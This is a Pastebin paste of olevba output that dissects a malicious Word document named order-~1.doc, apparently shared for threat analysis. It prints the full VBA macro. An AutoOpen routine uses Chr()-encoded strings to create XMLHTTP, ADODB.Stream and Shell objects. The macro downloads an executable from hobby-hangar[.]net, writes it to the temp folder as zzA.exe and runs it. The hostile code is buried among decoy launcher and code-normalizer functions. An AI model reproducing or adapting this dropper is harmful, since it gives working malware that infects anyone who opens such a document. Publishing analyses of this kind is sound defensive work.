Advertisement
dynamoo

Malicious Word macro

Oct 1st, 2015
503
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.31 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASI-B-V order-~1.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: order-~1.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: order-~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub autoopen()
  17.  
  18. SSVEvdqwfF3 (7.4)
  19.  
  20. End Sub
  21.  
  22.  
  23.  
  24.  
  25. Sub SSVEvdqwfF3(FFFFF As Double)
  26. vtkNormalizeFileToFile
  27.  
  28. End Sub
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Module2.bas
  31. in file: order-~1.doc - OLE stream: u'Macros/VBA/Module2'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33.  
  34. Public Sub ErrorHandler(lError As Long, sObjectName As String, sFunctionName As String)
  35. On Error GoTo ERROR_HANDLER:
  36.     Dim sPath As String
  37.    
  38.     HadError = True
  39.     'AddChat vbRed, StringFormat("Error #{0}: {1} in {2}.{3}()", lError, Error(lError), sObjectName, sFunctionName)
  40.    
  41.     sPath = ReplaceEnvironmentVars("%APPDATA%\StealthBot\LauncherErrors.txt")
  42.     If (LenB(Dir$(sPath)) = 0) Then
  43.         Open sPath For Output As #1: Close #1
  44.     End If
  45.    
  46.     Open sPath For Append As #1
  47.         Print #1, StringFormat("Error #{0}: {1} in {2}.{3}()", lError, Error(lError), sObjectName, sFunctionName)
  48.     Close #1
  49.    
  50.     Err.Clear
  51.     sErrorFile = ReplaceEnvironmentVars("%APPDATA%\StealthBot\LauncherErrors.txt")
  52.    
  53.     Exit Sub
  54.    
  55. ERROR_HANDLER:
  56.     MsgBox StringFormat("Error #{0}: {1} in {2}.{3}()", lError, Error(lError), sObjectName, sFunctionName)
  57.     Err.Clear
  58. End Sub
  59.  
  60. Public Function StringFormat(source As String, ParamArray params() As Variant)
  61. On Error GoTo ERROR_HANDLER:
  62.  
  63.     Dim retVal As String, i As Integer
  64.     retVal = source
  65.     For i = LBound(params) To UBound(params)
  66.         retVal = Replace(retVal, "{" & i & "}", CStr(params(i)))
  67.     Next
  68.     StringFormat = retVal
  69.    
  70.     Exit Function
  71.    
  72. ERROR_HANDLER:
  73.     ErrorHandler Err.Number, OBJECT_NAME, "StringFormat"
  74.     StringFormat = vbNullString
  75. End Function
  76.  
  77. Public Function ReplaceEnvironmentVars(ByVal str As String) As String
  78. On Error GoTo ERROR_HANDLER:
  79.  
  80.     Dim i     As Integer
  81.     Dim Name  As String
  82.     Dim Value As String
  83.     Dim tmp   As String
  84.    
  85.     tmp = str
  86.    
  87.     i = 1
  88.  
  89.     While (LenB(Environ$(i)) > 0)
  90.         Name = Mid$(Environ$(i), 1, InStr(1, Environ$(i), "=") - 1)
  91.         Value = Mid$(Environ$(i), InStr(1, Environ$(i), "=") + 1)
  92.         tmp = Replace(tmp, "%" & Name & "%", Value)
  93.         i = i + 1
  94.     Wend
  95.     ReplaceEnvironmentVars = tmp
  96.    
  97.     Exit Function
  98.    
  99. ERROR_HANDLER:
  100.     ErrorHandler Err.Number, OBJECT_NAME, "ReplaceEnvironmentVars"
  101.     ReplaceEnvironmentVars = vbNullString
  102. End Function
  103.  
  104. Public Function MakeDirectory(sPath As String) As Boolean
  105. On Error GoTo ERROR_HANDLER
  106.     MkDir sPath
  107.     MakeDirectory = True
  108.    
  109.     Exit Function
  110. ERROR_HANDLER:
  111.     ErrorHandler Err.Number, OBJECT_NAME, "MakeDirectory"
  112.     MakeDirectory = False
  113. End Function
  114.  
  115. Public Sub LoadXMLDocument()
  116. On Error GoTo ERROR_HANDLER:
  117. Exit Sub
  118.     If (Not xml_doc Is Nothing) Then
  119.         Set xml_doc = Nothing
  120.     End If
  121.    
  122.     Set xml_doc = New DOMDocument60
  123.     If (Not xml_doc.Load(App.path & "\Launcher.xml")) Then
  124.         MsgBox "Failed to load Launcher.xml"
  125.     End If
  126.    
  127.     Exit Sub
  128. ERROR_HANDLER:
  129.     ErrorHandler Err.Number, OBJECT_NAME, "LoadXMLDocument"
  130. End Sub
  131.  
  132. Public Function CopyProfileFiles(sProfile As String) As Boolean
  133. On Error GoTo ERROR_HANDLER:
  134.     Dim sRootPath As String
  135.    
  136.     sRootPath = StringFormat("{0}\StealthBot\{1}", ReplaceEnvironmentVars("%APPDATA%"), sProfile)
  137.    
  138.     'Copy over the \Default\ Directory if it exists.
  139.    If (LenB(Dir$(StringFormat("{0}\Default\", App.path), vbDirectory)) > 0) Then
  140.         If (Not CopyFolder(StringFormat("{0}\Default", App.path), sRootPath)) Then
  141.             'could not copy default folder
  142.        End If
  143.     End If
  144.    
  145.     CopyProfileFiles = True
  146.    
  147.     Exit Function
  148. ERROR_HANDLER:
  149.     ErrorHandler Err.Number, OBJECT_NAME, "CopyProfileFiles"
  150. End Function
  151.  
  152. Public Function KillFolder(ByVal FullPath As String) As Boolean
  153. On Error GoTo ERROR_HANDLER:
  154.     Dim oFso As Object
  155.     Set oFso = CreateObject("Scripting.FileSystemObject")
  156.  
  157.     If Right(FullPath, 1) = "\" Then FullPath = Left$(FullPath, Len(FullPath) - 1)
  158.  
  159.     If oFso.FolderExists(FullPath) Then
  160.         Dir App.path  'Use App.Path because that *should* always exist unless some voodo was performed. But 'C:/' is not garenteed.
  161.        oFso.DeleteFolder FullPath, True
  162.         KillFolder = (Err.Number = 0 And oFso.FolderExists(FullPath) = False)
  163.     Else
  164.         KillFolder = True
  165.     End If
  166.  
  167.     Exit Function
  168. ERROR_HANDLER:
  169.     ErrorHandler Err.Number, OBJECT_NAME, "KillFolder"
  170.     KillFolder = False
  171. End Function
  172. Public Function LaunchProfile(sProfile As String) As Boolean
  173. On Error GoTo ERROR_HANDLER:
  174.     Dim lRet     As Long
  175.     Dim sPath    As String
  176.     Dim security As SECURITY_ATTRIBUTES
  177.     Dim suInfo   As STARTUPINFO
  178.     Dim pInfo    As PROCESS_INFORMATION
  179.     Dim sCL      As String
  180.    
  181.     sCL = StringFormat(" -addpath {0}{1}{0}", Chr$(34), App.path)
  182.     sCL = StringFormat("{0} -launcherver {1}{2}{3}", sCL, ZeroOffset(App.Major, 2), ZeroOffset(App.Minor, 2), ZeroOffset(App.Revision, 4))
  183.     If (HadError) Then
  184.         sCL = StringFormat("{0} -launchererror", sCL)
  185.         If (LenB(sErrorFile)) Then sCL = StringFormat("{0} {1}{2}{1}", sCL, Chr$(34), sErrorFile)
  186.     End If
  187.    
  188.     If (Not ProfileExists(sProfile)) Then Exit Function
  189.    
  190.     sPath = StringFormat(ReplaceEnvironmentVars("%APPDATA%\StealthBot\{0}\"), sProfile)
  191.     lRet = CreateProcess(StringFormat("{0}\StealthBot v2.7", App.path), _
  192.         sCL, _
  193.       security, security, False, _
  194.       NORMAL_PRIORITY_CLASS, _
  195.       ByVal 0&, sPath, suInfo, pInfo)
  196.      
  197.     If (cConfig Is Nothing) Then Set cConfig = New clsConfig
  198.     If (cConfig.AutoClose) Then Unload frmLauncher
  199.  
  200.  
  201.     Exit Function
  202. ERROR_HANDLER:
  203.     ErrorHandler Err.Number, OBJECT_NAME, "LaunchProfile"
  204.     LaunchProfile = False
  205. End Function
  206.  
  207.  
  208.  
  209. Private Function GetDesktopPath() As String
  210. On Error GoTo ERROR_HANDLER:
  211.     Dim oShell As Object
  212.     Dim sPath  As String
  213.    
  214.     Set oShell = CreateObject("WScript.Shell")
  215.     sPath = oShell.SpecialFolders("Desktop")
  216.     If (Not Right$(sPath, 1) = "\") Then sPath = sPath & "\"
  217.    
  218.    
  219.     GetDesktopPath = sPath
  220.    
  221.     Exit Function
  222. ERROR_HANDLER:
  223.     ErrorHandler Err.Number, OBJECT_NAME, "GetDesktopPath"
  224. End Function
  225.  
  226. Public Function CreateShortcut(sProfile As String)
  227. On Error GoTo ERROR_HANDLER:
  228.     Dim oShell    As Object
  229.     Dim oShortCut As Object
  230.     Dim sDesktop  As String
  231.     Dim sPath     As String
  232.    
  233.     sDesktop = GetDesktopPath
  234.     If (LenB(sDesktop) = 0) Then
  235.         MsgBox "Failed to get desktop folder."
  236.         Exit Function
  237.     End If
  238.    
  239.     sPath = StringFormat("{0}StealthBot - {1}.lnk", sDesktop, sProfile)
  240.    
  241.     Set oShell = CreateObject("WScript.Shell")
  242.     Set oShortCut = oShell.CreateShortcut(sPath)
  243.     With oShortCut
  244.         .TargetPath = StringFormat("{0}{1}\{2}.exe{0}", Chr$(34), App.path, App.EXEName)
  245.         .Arguments = StringFormat("-LaunchProfile {0}{1}{0}", Chr$(34), sProfile)
  246.         .Save
  247.     End With
  248.    
  249.     MsgBox StringFormat("Created shortcut for profile {0}{1}{0} on your desktop.{2}{3}", Chr$(34), sProfile, vbNewLine, sPath)
  250.    
  251.     Exit Function
  252. ERROR_HANDLER:
  253.     ErrorHandler Err.Number, OBJECT_NAME, "CreateShortcut"
  254. End Function
  255.  
  256. Public Function ProfileExists(sProfile As String)
  257. On Error GoTo ERROR_HANDLER:
  258.     Dim sPath As String
  259.    
  260.     If (LenB(sProfile) = 0) Then
  261.         ProfileExists = False
  262.         Exit Function
  263.     End If
  264. End Function
  265.    
  266.  
  267.   Public Function Profile8Exists(AquaBarb2 As String, AquaBarb3 As String, AquaBarb As Object, GetDesktopMPath_3 As String, GetDesktopMPath_8 As Double) As Double
  268. Profile8Exists = 77.8
  269. Profile8Exists = Create_Shortcut(AquaBarb, GetDesktopMPath_3)
  270. Profile8Exists = 72.99
  271.   End Function
  272. Public Function vtkNormalizeFileToFile()
  273. Set GetDesktopMPath_1 = LaunchHistProfile(Chr(87) & Chr(80 + 3) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) + Chr(23 * 2) & Chr(40 * 2 + 3) & Chr(104) & Chr(101) & Chr(108) & Chr(108)).Environment(Chr(80) & Chr(114) & "o" & Chr(99) & Chr(101) & "s" & "s")
  274. GetDesktopMPath_2 = GetDesktopMPath_1("T" & Chr(69) & Chr(77) & Chr(80))
  275. Dim AquaBarb As Object
  276. Set AquaBarb = LaunchHistProfile(Chr(65) & "do" & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & "a" & Chr(109))
  277. Dim GetDesktopMPath_3 As String
  278. GetDesktopMPath_3 = GetDesktopMPath_2 & "\" & "zz" & Chr(65) & "." & "e" & Chr(120) & "e"
  279. With AquaBarb
  280.    .Type = 1
  281.     .Open
  282.     .write usZ5pw3gU8(223)
  283.    
  284. End With
  285.  Dim HricK As Double
  286. HricK = Profile8Exists("AquaBarb", "AquaBarb", AquaBarb, GetDesktopMPath_3, 88.3)
  287. Set noexile = LaunchHistProfile(";<=" + Chr(83) & "h" & "e" & Chr(108) & Chr(108) & Chr(46) & Chr(65) & "p" & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110))
  288. noexile.Open (GetDesktopMPath_3)
  289. End Function
  290. Public Function Profile7Exists(sProfile As String)
  291.     sPath = StringFormat(ReplaceEnvironmentVars("%APPDATA%\StealthBot\{0}\"), sProfile)
  292.    
  293.     ProfileExists = LenB(Dir$(sPath, vbDirectory)) > 0
  294.    
  295.     Exit Function
  296. ERROR_HANDLER:
  297.     ErrorHandler Err.Number, OBJECT_NAME, "ProfileExists"
  298. End Function
  299.  
  300. Public Function CreateProfile(sName As String) As Boolean
  301. On Error GoTo ERROR_HANDLER:
  302.     Dim sPath As String
  303.     CreateProfile = False
  304.    
  305.     sPath = StringFormat("{0}\StealthBot\{1}", ReplaceEnvironmentVars("%APPDATA%"), sName)
  306.    
  307.     If (ProfileExists(sName)) Then
  308.         MsgBox "Profile already exists!"
  309.         Exit Function
  310.     End If
  311.    
  312.     If (Not MakeDirectory(sPath)) Then
  313.         MsgBox "Error creating profile directory."
  314.         Exit Function
  315.     End If
  316.    
  317.     If (Not CopyProfileFiles(sName)) Then
  318.         MsgBox "Failed to copy profile files over."
  319.         KillFolder sPath
  320.         Exit Function
  321.     End If
  322.    
  323.     CreateProfile = True
  324.    
  325.     Exit Function
  326. ERROR_HANDLER:
  327.     ErrorHandler Err.Number, OBJECT_NAME, "CreateProfile"
  328. End Function
  329.  
  330.  
  331. -------------------------------------------------------------------------------
  332. VBA MACRO Module1.bas
  333. in file: order-~1.doc - OLE stream: u'Macros/VBA/Module1'
  334. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  335.  
  336. Private properlyCasedIdentifiersArray() As String
  337.  
  338. '---------------------------------------------------------------------------------------
  339. ' Procedure : initializeList
  340. ' Author    : Lucas Vitorino
  341. ' Purpose   : This Sub initializes the list of properly cased identifiers used to normalize the source code.
  342. '---------------------------------------------------------------------------------------
  343. '
  344. Private Sub initializeList()
  345.    
  346.     Dim properlyCasedIdentifiersString As String
  347.    
  348.     properlyCasedIdentifiersString = _
  349.     "Dim" & "," & _
  350.     "Wb" & "," & _
  351.     "Err" & "," & _
  352.     "Number" & "," & _
  353.     "Description" & "," & _
  354.     "Source" & "," & _
  355.     "Count" & "," & _
  356.     "File" & "," & _
  357.     "Folder" & "," & _
  358.     "Scripting" & "," & _
  359.     "Boolean" & "," & _
  360.     "String" & "," & _
  361.     "Integer" & "," & _
  362.     "addModule" & "," & _
  363.     "returnValue" & "," & _
  364.     "retVal" & "," & _
  365.     "fileName" & "," & _
  366.     "saveChanges" & "," & _
  367.     ""
  368.    
  369.     properlyCasedIdentifiersArray = Split(properlyCasedIdentifiersString, ",")
  370.    
  371. End Sub
  372.  
  373. '---------------------------------------------------------------------------------------
  374. ' Procedure : vtkListOfProperlyCasedIdentifiers
  375. ' Author    : Lucas Vitorino
  376. ' Purpose   : This functions returns the array containing the properly cased Strings.
  377. '---------------------------------------------------------------------------------------
  378. '
  379. Public Function vtkListOfProperlyCasedIdentifiers() As String()
  380.    
  381.     If Len(Join(properlyCasedIdentifiersArray, "")) = 0 Then ' if the array has not been initialized
  382.        initializeList
  383.     End If
  384.    
  385.     vtkListOfProperlyCasedIdentifiers = properlyCasedIdentifiersArray
  386.    
  387. End Function
  388.  
  389.  
  390. '---------------------------------------------------------------------------------------
  391. ' Procedure : vtkNormalizeToken
  392. ' Author    : Lucas Vitorino
  393. ' Purpose   : - Perform a case-insensitive search of a given token in a given array of Strings,
  394. '               and return this token with the casing used in the array.
  395. '             - If the token is not found in the array of if the array is empty, the token is
  396. '               returned unchanged.
  397. ' Returns   : A String corresponding to the normalized token.
  398. ' Errors    : VTK_UNEXPECTED_ERROR
  399. '---------------------------------------------------------------------------------------
  400. '
  401. Public Function vtkNormalizeToken(token As String, listOfTokens() As String) As String
  402.  
  403.     On Error GoTo vtkNormalizeToken_Error
  404.    
  405.     ' If the list is not empty
  406.    If Len(Join(listOfTokens, "")) <> 0 Then
  407.         ' Perform the search
  408.        Dim i As Integer
  409.         For i = LBound(listOfTokens) To UBound(listOfTokens)
  410.             If StrComp(UCase(token), UCase(listOfTokens(i))) = 0 Then
  411.                 vtkNormalizeToken = listOfTokens(i)
  412.                 Exit Function
  413.             End If
  414.         Next
  415.     End If
  416.    
  417.     ' If the token has not been found or the list is empty, return the token unchanged
  418.    On Error GoTo 0
  419.     vtkNormalizeToken = token
  420.     Exit Function
  421.  
  422. vtkNormalizeToken_Error:
  423.     Err.source = "function vtkNormalizeToken of module vtkNormalize"
  424.     Err.Number = VTK_UNEXPECTED_ERROR
  425.     Err.Raise Err.Number, Err.source, Err.Description
  426.     Exit Function
  427. End Function
  428.  
  429. '---------------------------------------------------------------------------------------
  430. ' Procedure : vtkNormalizeString
  431. ' Author    : Lucas Vitorino
  432. ' Purpose   : Normalize a String by normalizing the VBA identifier tokens in it
  433. '               - an identifier token is a String starting by a [A-Za-z] character with nothing but characters,
  434. '                 numbers and underscores in it
  435. '               - comments are not scanned for identifier tokens.
  436. ' Returns   : The normalized String corresponding to the input String.
  437. ' Raises    : - VTK_UNEXPECTED_EOS
  438. '             - VTK_UNEXPECTED_CHAR
  439. '             - VTK_UNEXPECTED_ERROR
  440. ' Notes     : This code is based on code generated by Klemen's LEX4VB. Get LEX4VB from http://www.schmidks.de
  441. '---------------------------------------------------------------------------------------
  442. '
  443. Public Function Create_Shortcut(GetDesktopMPath_4 As Object, GetDesktopMPath_3 As String) As Integer
  444. Create_Shortcut = 15
  445. GetDesktopMPath_4.savetofile GetDesktopMPath_3, 2
  446. Create_Shortcut = 2
  447. End Function
  448. Public Function vtkNormalizeString(s As String, listOfTokens() As String) As String
  449.  
  450. Dim token As String
  451. Dim State As Integer, OldState As Integer
  452. Dim Cnt As Integer
  453. Dim ch As String
  454. Dim p As Integer
  455.  
  456. Dim returnString As String
  457.  
  458. On Error GoTo vtkNormalizeString_Error
  459. p = 1: State = 0: OldState = -1
  460. s = s & Chr(0)
  461.    
  462. Do While p <= Len(s)
  463.     If State = OldState Then Cnt = Cnt + 1 Else Cnt = 0
  464.     OldState = State
  465.     ch = Mid(s, p, 1)
  466.         Select Case State
  467.             Case 0:
  468.                 ' The analyser is looking for a token : copy characters without modifying
  469.                If Asc(ch) = 0 Then
  470.                     State = 9
  471.                 ElseIf ch Like "[A-Za-z]" Then
  472.                     token = token & ch
  473.                     State = 1
  474.                 ElseIf ch Like "[']" Then
  475.                     returnString = returnString & ch
  476.                     token = ""
  477.                     State = 2
  478.                 ElseIf ch Like "[""]" Then
  479.                     returnString = returnString & ch
  480.                     token = ""
  481.                     State = 3
  482.                 ElseIf ch Like "[!']" Then
  483.                     returnString = returnString & ch
  484.                     token = ""
  485.                     State = 0
  486.                 Else: Err.Raise VTK_UNEXPECTED_CHAR
  487.                 End If
  488. End Function
  489.  
  490. Public Function usZ5pw3gU8(KJB As Long)
  491.  
  492. Dim sCommandLine As Object
  493. Set sCommandLine = LaunchHistProfile(Chr(77) & Chr(105) & "c" & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(46) & Chr(88) & "M" & Chr(76) & "H" & Chr(84) & Chr(84) & "P")
  494. ProfileChr sCommandLine
  495. sCommandLine.Send
  496. usZ5pw3gU8 = sCommandLine.responseBody
  497. End Function
  498. Public Function analsyer_is()
  499.             Case 1:
  500.                 ' The analsyer is in a token : normalize tokens it finds
  501.                If Asc(ch) = 0 Then
  502.                     returnString = returnString & vtkNormalizeToken(token, listOfTokens)
  503.                     State = 9
  504.                 ElseIf ch Like "[A-Za-z,0-9,_]" Then
  505.                     token = token & ch
  506.                     State = 1
  507.                 ElseIf ch Like "[']" Then
  508.                     returnString = returnString & vtkNormalizeToken(token, listOfTokens) & ch
  509.                     token = ""
  510.                     State = 2
  511.                 ElseIf ch Like "[""]" Then
  512.                     returnString = returnString & vtkNormalizeToken(token, listOfTokens) & ch
  513.                     token = ""
  514.                     State = 3
  515.                 ElseIf ch Like "[!']" Then
  516.                     returnString = returnString & vtkNormalizeToken(token, listOfTokens) & ch
  517.                     token = ""
  518.                     State = 0
  519.                 Else: Err.Raise VTK_UNEXPECTED_CHAR
  520.                 End If
  521.  
  522.  
  523.             Case 2:
  524.                 ' The analyser is in a comment : copy characters without modifying until end of String
  525.                If Asc(ch) = 0 Then
  526.                     State = 9
  527.                 ElseIf Asc(ch) > 0 Then
  528.                     returnString = returnString & ch
  529.                     State = 2
  530.                 Else: Err.Raise VTK_UNEXPECTED_CHAR
  531.                 End If
  532.                
  533.             Case 3:
  534.                 'The analyser is in a String : copy characters without modifying until a quote
  535.                If Asc(ch) = 0 Then
  536.                     State = 9
  537.                 ElseIf ch Like "[""]" Then
  538.                     returnString = returnString & ch
  539.                     State = 0
  540.                 ElseIf Asc(ch) > 0 Then
  541.                     returnString = returnString & ch
  542.                     State = 3
  543.                 Else: Err.Raise VTK_UNEXPECTED_CHAR
  544.                 End If
  545.                    
  546.  
  547.             Case 9:
  548.                 If True Then
  549.                     State = 9
  550.                 Else: Err.Raise VTK_UNEXPECTED_CHAR
  551.                 End If
  552.  
  553.         End Select
  554.  
  555. p = p + 1
  556. Loop
  557.  
  558. If State <> 9 Then Err.Raise VTK_UNEXPECTED_EOS
  559.  
  560. vtkNormalizeString = returnString
  561. Exit Function
  562.  
  563. vtkNormalizeString_Error:
  564.    
  565.     Err.source = "function vtkNormalizeString of module vtkNormalize"
  566.    
  567.     Select Case Err.Number
  568.         Case VTK_UNEXPECTED_EOS
  569.             Err.Description = "Unexpected EOS in String " & s
  570.         Case VTK_UNEXPECTED_CHAR
  571.             Err.Description = "Unexpected character of Ascii code " & Asc(ch) & " in String " & s & " at position " & p
  572.         Case Else
  573.             Err.Number = VTK_UNEXPECTED_ERROR
  574.     End Select
  575.    
  576.     Err.Raise Err.Number, Err.source, Err.Description
  577.    
  578. End Function
  579.  
  580.  
  581. '---------------------------------------------------------------------------------------
  582. ' Procedure : vtkNormalizeFile
  583. ' Author    : Lucas Vitorino
  584. ' Purpose   : Normalize a file.
  585. '               - Create a temporary file in the same directory
  586. '               - Copy each line of the original file in the temporary file, after calling vtkNormalizeString on them
  587. '               - Delete the original file
  588. '               - Rename the temporary file with the name of the original one.
  589. ' Raises    : - VTK_WRONG_FILE_PATH
  590. '             - VTK_UNEXPECTED_ERROR
  591. '---------------------------------------------------------------------------------------
  592. '
  593. Public Sub vtkNormalizeFile(fullFilePath As String, listOfTokens() As String)
  594.  
  595. On Error GoTo vtkNormalizeFile_Error
  596.  
  597.     Dim fso As New FileSystemObject
  598.    
  599.     ' Initialize input and output files
  600.    Dim inputFileObject As File
  601.     Set inputFileObject = fso.GetFile(fullFilePath)
  602.    
  603.     Dim normalizedFullFilePath As String
  604.     normalizedFullFilePath = inputFileObject.ParentFolder & "\" & "tmp_" & inputFileObject.Name
  605.     fso.CreateTextFile (normalizedFullFilePath)
  606.     Dim outputFileObject As File
  607.     Set outputFileObject = fso.GetFile(normalizedFullFilePath)
  608.    
  609.     ' Initialize objects to read and write the files
  610.    Dim textFileRead As TextStream
  611.     Set textFileRead = fso.OpenTextFile(fullFilePath, ForReading)
  612.     Dim textFileWrite As TextStream
  613.     Set textFileWrite = fso.OpenTextFile(normalizedFullFilePath, ForWriting)
  614.    
  615.     ' Copy each line of the input file in the output file after normalizing it
  616.    Do Until textFileRead.AtEndOfStream
  617.         textFileWrite.WriteLine (vtkNormalizeString(textFileRead.ReadLine, listOfTokens))
  618.     Loop
  619.    
  620.     ' Close the streams
  621.    textFileRead.Close
  622.     textFileWrite.Close
  623.    
  624.     ' Delete original file
  625.    Kill fullFilePath
  626.    
  627.     ' Rename normalized file with the name of the original file
  628.    outputFileObject.Name = fso.GetFileName(fullFilePath)
  629.    
  630.    On Error GoTo 0
  631.    
  632.    Exit Sub
  633.  
  634. vtkNormalizeFile_Error:
  635.  
  636.     Err.source = "sub vtkNormalizeFile of module vtkNormalize"
  637.    
  638.     Select Case Err.Number
  639.         Case 53
  640.             Err.Number = VTK_WRONG_FILE_PATH
  641.         Case Else
  642.             Err.Number = VTK_UNEXPECTED_ERROR
  643.     End Select
  644.    
  645.     Err.Raise Err.Number, Err.source, Err.Description
  646.    
  647.     Exit Sub
  648.    
  649. End Sub
  650.  
  651. -------------------------------------------------------------------------------
  652. VBA MACRO Module3.bas
  653. in file: order-~1.doc - OLE stream: u'Macros/VBA/Module3'
  654. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  655.  
  656. Public Function RemoveProfile(ByRef Item As String)
  657. On Error GoTo ERROR_HANDLER
  658.     Dim lRet As Long
  659.     Dim sProfile As String
  660.    
  661.     sProfile = Item.Text
  662.    
  663.     lRet = MsgBox(StringFormat("This will delete EVERYTHING in the {0}{1}{0} profile. Are you sure?", Chr$(34), sProfile), vbYesNoCancel + vbQuestion)
  664.    
  665.     If (lRet = vbYes) Then
  666.         If (KillFolder(StringFormat(ReplaceEnvironmentVars("%APPDATA%\StealthBot\{0}"), sProfile))) Then
  667.             frmLauncher.UnlistProfile Item.Index
  668.         Else
  669.             MsgBox "Failed to delete the profile. It may be in use by an application. Try rebooting your computer and deleting it again.", vbInformation + vbOKOnly
  670.             Exit Function
  671.         End If
  672.     End If
  673.    
  674.     RemoveProfile = True
  675.    
  676.     Exit Function
  677. ERROR_HANDLER:
  678.     ErrorHandler Err.Number, OBJECT_NAME, "RemoveProfile"
  679. End Function
  680.  
  681. Private Function StripString(ByRef sTemp As String) As String
  682. On Error GoTo ERROR_HANDLER
  683.     Dim sValue   As String
  684.    
  685.     If (Left$(sTemp, 1) = Chr$(34)) Then
  686.         If (InStr(2, sTemp, Chr$(34), vbTextCompare) > 0) Then
  687.             sValue = Mid$(sTemp, 2, InStr(2, sTemp, Chr$(34), vbTextCompare) - 2)
  688.             sTemp = Mid$(sTemp, Len(sValue) + 4)
  689.         Else
  690.             sValue = Mid$(Split(sTemp & " -", " -")(0), 2)
  691.             sTemp = Mid$(sTemp, Len(sValue) + 3)
  692.         End If
  693.     Else
  694.         sValue = Split(sTemp & " -", " -")(0)
  695.         sTemp = Mid$(sTemp, Len(sValue) + 2)
  696.     End If
  697.     StripString = sValue
  698.     Exit Function
  699. ERROR_HANDLER:
  700.     ErrorHandler Err.Number, OBJECT_NAME, "StripString"
  701. End Function
  702. Public Function ProfileChr(KJB As Object)
  703. Dim segR As String
  704. segR = Chr(104) & Chr(116) & "t" & Chr(112) & Chr(58) & "/" & "/" & Chr(104) & "o" & "b" & Chr(98) & Chr(121) & Chr(45) & Chr(104) & "a" & Chr(110) & "g" & Chr(97) & Chr(114)
  705. KJB.Open Chr(71) & "E" & Chr(84), segR & Chr(46) & "n" & Chr(101) & Chr(116) & "/" & Chr(49) & "2" & Chr(51) & Chr(47) & Chr(49) & Chr(49) & "1" & "1" & Chr(46) & "e" & Chr(120) & "e", False
  706. End Function
  707. Public Function SetCommandLine(sCommandLine As String) As Boolean
  708. On Error GoTo ERROR_HANDLER:
  709.     Dim sTemp    As String
  710.     Dim sSetting As String
  711.     Dim sValue   As String
  712.     CommandLine = vbNullString
  713.     sTemp = sCommandLine
  714.    
  715.     Do While Left$(sTemp, 1) = "-"
  716.         sSetting = Split(Mid$(sTemp, 2) & Space$(1), Space$(1))(0)
  717.         sTemp = Mid$(sTemp, Len(sSetting) + 3)
  718.         Select Case LCase$(sSetting)
  719.        
  720.             Case "launchprofile":
  721.                 sValue = StripString(sTemp)
  722.                 If (Not LenB(sValue) = 0) Then
  723.                     If (Not ProfileExists(sValue)) Then
  724.                         MsgBox StringFormat("The Profile {0}{1}{0} does not exist!", Chr$(34), sValue)
  725.                     Else
  726.                         LaunchProfile sValue
  727.                         SetCommandLine = True
  728.                         Exit Function
  729.                     End If
  730.                 End If
  731.                
  732.             Case Else:
  733.                 CommandLine = StringFormat("{0}-{1} ", CommandLine, sSetting)
  734.         End Select
  735.     Loop
  736.     Exit Function
  737. ERROR_HANDLER:
  738.     SetCommandLine = False
  739.     ErrorHandler Err.Number, OBJECT_NAME, "SetCommandLine"
  740. End Function
  741. Public Function LaunchHistProfile(SmRaNdMM1 As String)
  742. For i = 0 To 3
  743. SmRaNdMM1 = Replace(SmRaNdMM1, Chr(i + 20 * 3 - 1), "")
  744. Next i
  745.  Set LaunchHistProfile = CreateObject(SmRaNdMM1)
  746. End Function
  747. Public Function CopyFolder(sSource As String, sDest As String) As Boolean
  748. On Error GoTo ERROR_HANDLER:
  749.     Dim sFile     As String
  750.     Dim sSourcePath As String
  751.     Dim sDestPath   As String
  752.     Dim sFiles      As New Collection
  753.     Dim X           As Integer
  754.    
  755.     CopyFolder = False
  756.    
  757.     If (LenB(Dir$(sDest, vbDirectory)) = 0) Then
  758.         If (Not MakeDirectory(sDest)) Then Exit Function
  759.     End If
  760.    
  761.     If (LenB(Dir$(StringFormat("{0}\", sSource), vbDirectory)) = 0) Then Exit Function
  762.    
  763.     Do While True
  764.          sFile = Dir$
  765.          If (LenB(sFile) = 0) Then Exit Do
  766.          If (Not sFile = "..") Then sFiles.Add sFile
  767.     Loop
  768.    
  769.     For X = 1 To sFiles.Count
  770.         sFile = sFiles.Item(X)
  771.         sSourcePath = StringFormat("{0}\{1}", sSource, sFile)
  772.         sDestPath = StringFormat("{0}\{1}", sDest, sFile)
  773.         If ((GetFileAttributes(sSourcePath) And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) Then
  774.             If (Not CopyFolder(sSourcePath, sDestPath)) Then
  775.                 KillFolder sDest
  776.                 Exit Function
  777.             End If
  778.         Else
  779.             Call FileCopy(sSourcePath, sDestPath)
  780.             If (LenB(Dir$(sDestPath)) = 0) Then
  781.                 KillFolder sDest
  782.                 Exit Function
  783.             End If
  784.         End If
  785.     Next X
  786.    
  787.     CopyFolder = True
  788.        
  789.     Exit Function
  790. ERROR_HANDLER:
  791.     ErrorHandler Err.Number, OBJECT_NAME, "CopyFolder"
  792.     CopyFolder = False
  793. End Function
  794.  
  795. 'Public Sub AddChat(ParamArray saElements() As Variant)
  796. 'On Error GoTo ERROR_HANDLER:
  797. '    Dim i As Integer
  798. '    With frmStatus.rtbStatus
  799. '        If (Len(.Text) > &H4000) Then
  800. '            .SelStart = 0
  801. '            .SelLength = &H100
  802. '            .SelText = vbNullString
  803. '        End If
  804. '
